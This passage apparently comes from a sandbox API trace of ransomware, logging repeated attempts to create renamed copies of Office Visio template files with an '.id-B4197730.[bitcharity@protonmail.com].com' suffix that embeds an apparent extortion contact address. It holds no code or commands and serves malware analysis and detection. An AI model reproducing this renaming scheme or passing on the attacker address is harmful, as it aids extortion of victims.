(hObject=0x1270) returned 1 [0274.875] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.875] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPALL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpall_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.876] CloseHandle (hObject=0x1270) returned 1 [0274.877] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.877] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPALL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpall_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.877] CloseHandle (hObject=0x1270) returned 1 [0274.878] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.878] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPASSM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpassm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.879] CloseHandle (hObject=0x1270) returned 1 [0274.879] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.879] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPASSM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpassm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.879] CloseHandle (hObject=0x1270) returned 1 [0274.880] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.880] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPEQP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpeqp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.880] CloseHandle (hObject=0x1270) returned 1 [0274.881] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.881] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPEQP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpeqp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.881] CloseHandle (hObject=0x1270) returned 1 [0274.882] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.882] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPVALV_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpvalv_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.882] CloseHandle (hObject=0x1270) returned 1 [0274.883] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.883] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FPVALV_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fpvalv_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.883] CloseHandle (hObject=0x1270) returned 1 [0274.883] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.883] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FREEQP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\freeqp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.884] CloseHandle (hObject=0x1270) returned 1 [0274.885] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.885] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FREEQP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\freeqp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.885] CloseHandle (hObject=0x1270) returned 1 [0274.885] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.886] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FURN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\furn_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.886] CloseHandle (hObject=0x1270) returned 1 [0274.886] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.887] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FURN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\furn_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.887] CloseHandle (hObject=0x1270) returned 1 [0274.887] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.887] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FURN_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\furn_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.888] CloseHandle (hObject=0x1270) returned 1 [0274.888] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.888] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FURN_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\furn_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.050] CloseHandle (hObject=0x1270) returned 1 [0275.818] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.818] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\IRRIG_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\irrig_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.932] CloseHandle (hObject=0x1270) returned 1 [0276.518] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.518] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFFRN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offfrn_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.518] CloseHandle (hObject=0x1154) returned 1 [0276.519] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.519] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERIME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\perime_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.519] CloseHandle (hObject=0x1154) returned 1 [0276.520] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.520] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERIME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\perime_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.520] CloseHandle (hObject=0x1154) returned 1 [0276.521] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.521] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERIPH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\periph_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.521] CloseHandle (hObject=0x1154) returned 1 [0276.521] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERIPH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\periph_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.522] CloseHandle (hObject=0x1154) returned 1 [0276.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pert_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.523] CloseHandle (hObject=0x1154) returned 1 [0276.523] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.523] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pert_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.523] CloseHandle (hObject=0x1154) returned 1 [0276.524] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.524] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pert_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.524] CloseHandle (hObject=0x1154) returned 1 [0276.525] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.525] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PERT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pert_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.525] CloseHandle (hObject=0x1154) returned 1 [0276.526] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.526] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEVALV_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pevalv_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.526] CloseHandle (hObject=0x1154) returned 1 [0276.527] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.527] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEVALV_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pevalv_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.527] CloseHandle (hObject=0x1154) returned 1 [0276.527] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.527] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEVESS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pevess_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.528] CloseHandle (hObject=0x1154) returned 1 [0276.528] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.528] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEVESS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pevess_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.529] CloseHandle (hObject=0x1154) returned 1 [0276.529] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.530] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PIPE1_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pipe1_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.530] CloseHandle (hObject=0x1154) returned 1 [0276.530] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.530] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PIPE1_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pipe1_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.531] CloseHandle (hObject=0x1154) returned 1 [0276.531] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.531] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PIPE2_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pipe2_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.532] CloseHandle (hObject=0x1154) returned 1 [0276.532] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.532] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PIPE2_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pipe2_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 